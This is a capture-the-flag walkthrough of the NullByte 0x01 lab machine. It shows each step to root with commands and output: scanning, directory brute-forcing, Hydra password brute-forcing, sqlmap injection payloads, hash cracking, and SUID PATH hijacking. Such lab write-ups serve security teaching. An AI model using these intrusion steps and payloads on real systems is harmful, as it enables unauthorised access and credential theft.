published on in writeup
tags: nullbyte

NullByte 0x01

NullByte is a hacking challenge created by ly0n, pitched at a beginner-intermediate level. The objective is to grab the flag.

Port Scan

[email protected]:~# nmap -n -A

80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          53905/udp  status
|_  100024  1          54255/tcp  status
777/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|_  256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)

Pop on over in a browser and we see an Eye of Harmony and a little message. There’s nothing else to see, so I did some directory bruteforcing.

[email protected]:~# gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u -f

Gobuster v0.8 (DIR support by OJ Reeves @TheColonial)
              (DNS support by Peleus     @0x42424242)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Add Slash    : true
/uploads/ (200)
/phpmyadmin/ (200)

I haven’t any credentials for phpMyAdmin, so lets take a closer look at the image (main.gif).

Using exiftool, we can see that there is an embeded comment.

[email protected]:~/Downloads# exiftool main.gif 
ExifTool Version Number         : 9.74
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:08:21 21:53:41+01:00
File Access Date/Time           : 2015:08:21 21:53:41+01:00
File Inode Change Date/Time     : 2015:08:21 21:53:41+01:00
File Permissions                : rw-r--r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302

kzMb5nVYJw seems to be an interesting string. After trying various things (passwords etc), it turns out this is a new web directory.

[email protected]:~# curl

<form method="post" action="index.php">
<input type="password" name="key">
<!-- this form isn't connected to mysql, password ain't that complex --!>

The notion that the password isn’t complex implies that we may be able to bruteforce it. I did this with Hydra - note that it requires both a password and a username be specified. You can give it a dummy username without supplying it in the actual request.

[email protected]:~# hydra http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l rasta -P /usr/share/wordlists/metasploit-jtr/password.lst
[80][http-post-form] host:   login: rasta   password: elite

After loggin in with the key elite, we see a form where we can search for usernames.

Submitting a blank query returns two results.

EMP NAME : ramses
EMP NAME : isis
EMP POSITION : employee
Fetched data successfully


I threw sqlmap at the page, to try injections in the usrtosearch field. Luckily, it returned a few blind-based possible injections.

[email protected]:~# sqlmap -u "" --dbms=MySQL

Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=" AND 8735=8735#

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: usrtosearch=" AND (SELECT * FROM (SELECT(SLEEP(5)))pEsD)#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=" UNION ALL SELECT NULL,CONCAT(0x7178787071,0x736e4f426852624a4242,0x7178786a71),NULL#
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth

I couldn’t find any credentials in the phpmyadmin database, so went on to explore seth.

Database: seth
Table: users
[2 entries]
| id | pass                                        | user   | position   |
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |

This password is in the format of base64(md5), but has the terminating = missing. We can reverse the base64, recover the md5 and crack with john.

[email protected]:~# echo -en 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=' | base64 -d
[email protected]:~# echo -en 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=' | base64 -d > ramses

[email protected]:~# john --format=raw-md5 ramses 

Loaded 1 password hash (Raw-MD5 [MD5 32/32])
omega            (?)


The credentials ramses:omega can also be used to log in via SSH, remember on port 777.

[email protected]:~# ssh [email protected] -p777
[email protected]'s password:

[email protected]:~$ pwd

procwatch SUID

.bash_history has references to /var/www/backup/procwatch, which turns out to be a SUID binary owned by root.

-rwsr-xr-x 1 root root 4932 Aug  2 01:29 procwatch

Running the binary seems to produce output from ps.

[email protected]:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
24253 pts/0    00:00:00 procwatch
24254 pts/0    00:00:00 sh
24255 pts/0    00:00:00 ps

The binary doesn’t seem to take any input as arguments, so I used scp to copy it to my Kali box for closer inspection.

[email protected]:~# scp -P777 [email protected]:/var/www/backup/procwatch .
[email protected]'s password: 
procwatch                                                                                                                   100% 4932     4.8KB/s   00:00
[email protected]:~# file procwatch 
procwatch: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.32, BuildID[sha1]=17d666a0c940726b29feedde855535fb21cb160c, not stripped

[email protected]:~# gdb -q ./procwatch
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Let’s disassemble the main function.

gdb-peda$ pdisass main

   0x080483fb <+0>:	lea    ecx,[esp+0x4]
   0x080483ff <+4>:	and    esp,0xfffffff0
   0x08048402 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:	push   ebp
   0x08048406 <+11>:	mov    ebp,esp
   0x08048408 <+13>:	push   ecx
   0x08048409 <+14>:	sub    esp,0x44
   0x0804840c <+17>:	lea    eax,[ebp-0x3a]
   0x0804840f <+20>:	mov    WORD PTR [eax],0x7370
   0x08048414 <+25>:	mov    BYTE PTR [eax+0x2],0x0
   0x08048418 <+29>:	sub    esp,0xc
   0x0804841b <+32>:	lea    eax,[ebp-0x3a]
   0x0804841e <+35>:	push   eax
   0x0804841f <+36>:	call   0x80482d0 <[email protected]>
   0x08048424 <+41>:	add    esp,0x10
   0x08048427 <+44>:	mov    eax,0x0
   0x0804842c <+49>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x0804842f <+52>:	leave  
   0x08048430 <+53>:	lea    esp,[ecx-0x4]
   0x08048433 <+56>:	ret

The call to system() at +36 jumps out. To see what was getting passed to system, I set a breakpoint at 0x0804841f and ran the binary.

gdb-peda$ b *0x0804841f
gdb-peda$ r

EAX: 0xbff92fee --> 0x7370 ('ps')
EBX: 0xb76ee000 --> 0x1a5da8 
ECX: 0xbff93040 --> 0x1 
EDX: 0xbff93064 --> 0xb76ee000 --> 0x1a5da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbff93028 --> 0x0 
ESP: 0xbff92fd0 --> 0xbff92fee --> 0x7370 ('ps')
EIP: 0x804841f (<main+36>:	call   0x80482d0 <[email protected]>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
   0x8048418 <main+29>:	sub    esp,0xc
   0x804841b <main+32>:	lea    eax,[ebp-0x3a]
   0x804841e <main+35>:	push   eax
=> 0x804841f <main+36>:	call   0x80482d0 <[email protected]>
   0x8048424 <main+41>:	add    esp,0x10
   0x8048427 <main+44>:	mov    eax,0x0
   0x804842c <main+49>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x804842f <main+52>:	leave
Guessed arguments:
arg[0]: 0xbff92fee --> 0x7370 ('ps')
arg[1]: 0x0 
arg[2]: 0xc2 
arg[3]: 0xb75dc586 (<handle_intel+102>:	test   eax,eax)
0000| 0xbff92fd0 --> 0xbff92fee --> 0x7370 ('ps')
0004| 0xbff92fd4 --> 0x0 
0008| 0xbff92fd8 --> 0xc2 
0012| 0xbff92fdc --> 0xb75dc586 (<handle_intel+102>:	test   eax,eax)
0016| 0xbff92fe0 --> 0xffffffff 
0020| 0xbff92fe4 --> 0xbff9300e --> 0x10804 
0024| 0xbff92fe8 --> 0xb7554bf8 --> 0x2aa0 
0028| 0xbff92fec --> 0x737091e3 
Legend: code, data, rodata, value

Breakpoint 1, 0x0804841f in main ()

Now we can see that the argument being passed to system is ps, critically without an absolute path. This means all that’s required to highjack this binary, is a bit of PATH manipulation.

[email protected]:/var/www/backup$ cp /bin/sh ps
[email protected]:/var/www/backup$ export PATH=/var/www/backup:$PATH

[email protected]:/var/www/backup$ ./procwatch 
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
# whoami


# cat /root/proof.txt

It seems that you have pwned the box, congrats. 
Now you done that I wanna talk with you. Write a walk & mail at
[email protected] attach the walk and proof.txt
If is down you may mail at [email protected]